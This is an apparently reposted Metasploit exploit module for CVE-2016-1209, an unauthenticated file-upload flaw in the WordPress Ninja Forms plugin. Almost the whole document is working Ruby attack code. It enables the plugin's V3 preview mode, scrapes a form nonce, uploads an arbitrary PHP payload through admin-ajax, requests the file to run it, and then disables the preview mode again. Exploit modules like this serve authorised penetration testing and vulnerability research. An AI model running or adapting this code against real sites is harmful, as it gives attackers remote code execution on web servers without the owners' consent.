WordPress Ninja Forms Unauthenticated File Upload
Posted on 27 May 2016
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', 'Description' => %( Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain an unauthenticated file upload vulnerability, allowing guests to upload arbitrary PHP code that can be executed in the context of the web server. ), 'License' => MSF_LICENSE, 'Author' => [ 'James Golovich', # Discovery and disclosure 'Rob Carr <rob[at]rastating.com>' # Metasploit module ], 'References' => [ ['CVE', '2016-1209'], ['WPVDB', '8485'], ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] ], 'DisclosureDate' => 'May 04 2016', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['ninja-forms', {}]], 'DefaultTarget' => 0 )) opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] register_options(opts, self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def check check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') end def enable_v3_functionality print_status 'Enabling vulnerable V3 functionality...' res = send_request_cgi( 'method' => 'GET', 'uri' => target_uri.path, 'vars_get' => { 'nf-switcher' => 'upgrade' } ) unless res && res.code == 200 fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality') end vprint_good 'Enabled V3 functionality' end def disable_v3_functionality print_status 'Disabling vulnerable V3 functionality...' res = send_request_cgi( 'method' => 'GET', 'uri' => target_uri.path, 'vars_get' => { 'nf-switcher' => 'rollback' } ) if res && res.code == 200 vprint_good 'Disabled V3 functionality' else print_error 'Failed to disable the vulnerable V3 functionality' end end def generate_mime_message(payload_name, nonce) data = Rex::MIME::Message.new data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') data.add_part(nonce, nil, nil, 'form-data; name="security"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name="#{Rex::Text.rand_text_alpha(10)}"; filename="#{payload_name}"") data end def fetch_ninja_form_nonce uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200 res.body[/var nfFrontEnd = {"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] end def upload_payload(data) res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? vprint_error("Server responded with status code #{res.code}") if res.code != 200 end def execute_payload(payload_name, payload_url) register_files_for_cleanup("nftmp-#{payload_name.downcase}") res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) if !res.nil? && res.code == 404 print_error("Failed to upload the payload") else print_good("Executed payload") end end def exploit # Vulnerable code is only available in the version 3 preview mode, which can be # enabled by unauthenticated users due to lack of user level validation. enable_v3_functionality # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any # page that contains a form generated by Ninja Forms. nonce = fetch_ninja_form_nonce print_status("Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") data = generate_mime_message(payload_name, nonce) print_status("Uploading payload to #{payload_url}") upload_payload(data) print_status("Executing the payload...") execute_payload(payload_name, payload_url) # Once the payload has been executed, we can disable the preview functionality again. disable_v3_functionality end end